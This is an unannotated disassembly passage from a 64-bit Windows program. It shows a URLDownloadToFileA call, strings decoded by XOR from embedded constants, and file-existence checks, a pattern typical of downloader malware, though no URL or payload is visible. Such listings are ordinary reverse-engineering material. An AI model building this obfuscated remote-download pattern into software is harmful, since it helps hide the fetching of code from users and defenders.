call sub.urlmon.dll_URLDownloadToFileA
mov rcx, qword [rbp + 0xa0]
test eax, eax
jns 0x140008883
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
movabs rax, 0x9aec26c3b71f6923
mov qword [rbp], rax
mov qword [rbp + 8], r15
movabs rax, 0x9aec26c3f251266d
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], r15
movdqa xmm0, xmmword [rbp + 0x70]
xorps xmm0, xmmword [rbp]
movdqa xmmword [rbp], xmm0
lea rdx, [rbp]
mov rcx, r13
call fcn.1400033b0
nop
mov r8, qword [rbp + 0x98]
cmp r8, 0xf
jbe 0x1400087b4
mov rdx, qword [rbp + 0x80]
lea rcx, [rbp + 0x80]
call fcn.140004a90
movdqa xmm0, xmmword [0x14000cbf0]
movdqu xmmword [rbp + 0x90], xmm0
mov byte [rbp + 0x80], 0
mov r8, qword [rbp + 0x68]
cmp r8, 0xf
jbe 0x1400087e2
mov rdx, qword [rbp + 0x50]
lea rcx, [rbp + 0x50]
call fcn.140004a90
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x68], 0xf
mov byte [rbp + 0x50], 0
sub rsi, rbx
mov rax, rbx
cmp rsi, 0x1000
jb 0x14000881a
add rsi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000898c
mov rdx, rsi
mov rcx, rbx
call fcn.140009efc
nop
lea rcx, [rbp + 0x1c0]
call fcn.140001d40
nop
mov r8, qword [rbp + 0x48]
cmp r8, 0xf
jbe 0x14000884a
mov rdx, qword [rbp + 0x30]
lea rcx, [rbp + 0x30]
call fcn.140004a90
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
mov r8, qword [rbp + 0xc0]
cmp r8, 0xf
jbe 0x140007e6d
mov rdx, qword [rbp + 0xa8]
lea rcx, [rbp + 0xa8]
call fcn.140004a90
jmp 0x140007e6d
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
nop
mov r8, qword [rbp + 0x98]
cmp r8, 0xf
jbe 0x140008996
mov rdx, qword [rbp + 0x80]
lea rcx, [rbp + 0x80]
call fcn.140004a90
jmp 0x140008996
mov rcx, qword [rbp + 0xa0]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_SetLastError]
movabs rax, 0x9aec26c3b71f6923
mov qword [rbp], rax
movabs rax, 0x68d7384646d7dfc6
mov qword [rbp + 8], rax
movabs rcx, 0x9aec26c3f251266d
mov qword [rbp + 0x70], rcx
mov qword [rbp + 0x78], rax
movdqa xmm0, xmmword [rbp + 0x70]
xorps xmm0, xmmword [rbp]
movdqa xmmword [rbp], xmm0
xorps xmm0, xmm0
movups xmmword [r13], xmm0
mov qword [r13 + 0x10], r12
mov qword [r13 + 0x18], r12
lea rax, [rbp]
nop dword [rax + rax]
inc rdi
cmp byte [rax + rdi], r12b
jne 0x140008920
mov r8, rdi
lea rdx, [rbp]
mov rcx, r13
call fcn.140001310
nop
mov r8, qword [rbp + 0x68]
cmp r8, 0xf
jbe 0x140008950
mov rdx, qword [rbp + 0x50]
lea rcx, [rbp + 0x50]
call fcn.140004a90
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x68], 0xf
mov byte [rbp + 0x50], 0
sub rsi, rbx
mov rax, rbx
cmp rsi, 0x1000
jb 0x14000881a
add rsi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000881a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
xor r12d, r12d
movups xmm0, xmmword [rbp + 0x50]
movups xmmword [r13], xmm0
movups xmm1, xmmword [rbp + 0x60]
movups xmmword [r13 + 0x10], xmm1
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x68], 0xf
mov byte [rbp + 0x50], 0
sub rsi, rbx
mov rax, rbx
cmp rsi, 0x1000
jb 0x1400089e0
add rsi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008b7f
mov rdx, rsi
mov rcx, rbx
call fcn.140009efc
nop
lea rcx, [rbp + 0x1c0]
call fcn.140001d40
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x140008a34
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008a2f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008c1d
call fcn.140009efc
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0xf
jbe 0x140007e6d
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007e68
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008c7d
jmp 0x140007e68
mov rcx, rdx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_SetLastError]
movabs rax, 0x9aec26c3b71f6923
mov qword [rbp], rax
movabs rax, 0x68d7384646d7dfc6
mov qword [rbp + 8], rax
movabs rcx, 0x9aec26c3f251266d
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp]
movdqa xmmword [rbp], xmm0
xorps xmm0, xmm0
movups xmmword [r13], xmm0
xor r14d, r14d
mov qword [r13 + 0x10], r14
mov qword [r13 + 0x18], r14
lea rax, [rbp]
inc rdi
cmp byte [rax + rdi], r14b
jne 0x140008af4
mov r8, rdi
lea rdx, [rbp]
mov rcx, r13
call fcn.140001310
nop
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x140008b4b
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008b46
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008b46
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009efc
mov qword [rbp + 0x60], r14
mov qword [rbp + 0x68], 0xf
mov byte [rbp + 0x50], 0
sub rsi, rbx
mov rax, rbx
cmp rsi, 0x1000
jb 0x140008b86
add rsi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008b86
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, rsi
mov rcx, rbx
call fcn.140009efc
nop
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x1c0], rax
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x1bc], edx
lea rcx, [rbp + 0x1d0]
call fcn.140001ba0
lea rcx, [rbp + 0x1d8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x270]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x140008c29
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008c24
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008c24
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009efc
mov qword [rbp + 0x40], r14
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0xf
jbe 0x140007e6d
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007e68
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007e68
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_SetLastError]
movabs rax, 0x9aec26c3b71f6923
mov qword [rbp], rax
movabs rax, 0x68d7384646d7dfc6
mov qword [rbp + 8], rax
movabs rcx, 0x9aec26c3f251266d
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp]
movdqa xmmword [rbp], xmm0
lea rdx, [rbp]
mov rcx, r13
call fcn.1400033b0
nop
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x140008d16
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008d11
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008d11
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009efc
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x68], 0xf
mov byte [rbp + 0x50], 0
sub rsi, rbx
mov rax, rbx
cmp rsi, 0x1000
jb 0x140008d4e
add rsi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008e48
mov rdx, rsi
mov rcx, rbx
call fcn.140009efc
nop
lea rcx, [rbp + 0x1c0]
call fcn.140001d40
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x140008da2
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008d9d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008ee6
call fcn.140009efc
mov qword [rbp + 0x40], r12
jmp 0x140007e20
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_SetLastError]
movabs rax, 0x9aec26c3b71f6923
mov qword [rbp], rax
movabs rax, 0x68d7384646d7dfc6
mov qword [rbp + 8], rax
movabs rcx, 0x9aec26c3f251266d
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp]
movdqa xmmword [rbp], xmm0
xorps xmm0, xmm0
movups xmmword [r13], xmm0
mov qword [r13 + 0x10], r12
mov qword [r13 + 0x18], r12
lea rax, [rbp]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140008e06
mov r8, rdi
lea rdx, [rbp]
mov rcx, r13
call fcn.140001310
nop
test rbx, rbx
je 0x140008e5b
sub rsi, rbx
mov rax, rbx
cmp rsi, 0x1000
jb 0x140008e4f
add rsi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008e4f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, rsi
mov rcx, rbx
call fcn.140009efc
nop
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x1c0], rax
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x1bc], edx
lea rcx, [rbp + 0x1d0]
call fcn.140001ba0
lea rcx, [rbp + 0x1d8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x270]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x140008ef2
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008eed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008eed
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009efc
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0xf
jbe 0x140007e6d
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007e68
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007e68
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
shr rcx, 0x20
call fcn.140007370
nop
lea r8, [rbp + 0x80]
lea rdx, [rbp]
lea rcx, str.exists
call fcn.1400072d0
nop
call fcn.140002050
int3
call fcn.140001fd0
nop
mov ecx, 0x16
call fcn.140007330
int3
shr r14, 0x20
mov ecx, r14d
call fcn.140007370
int3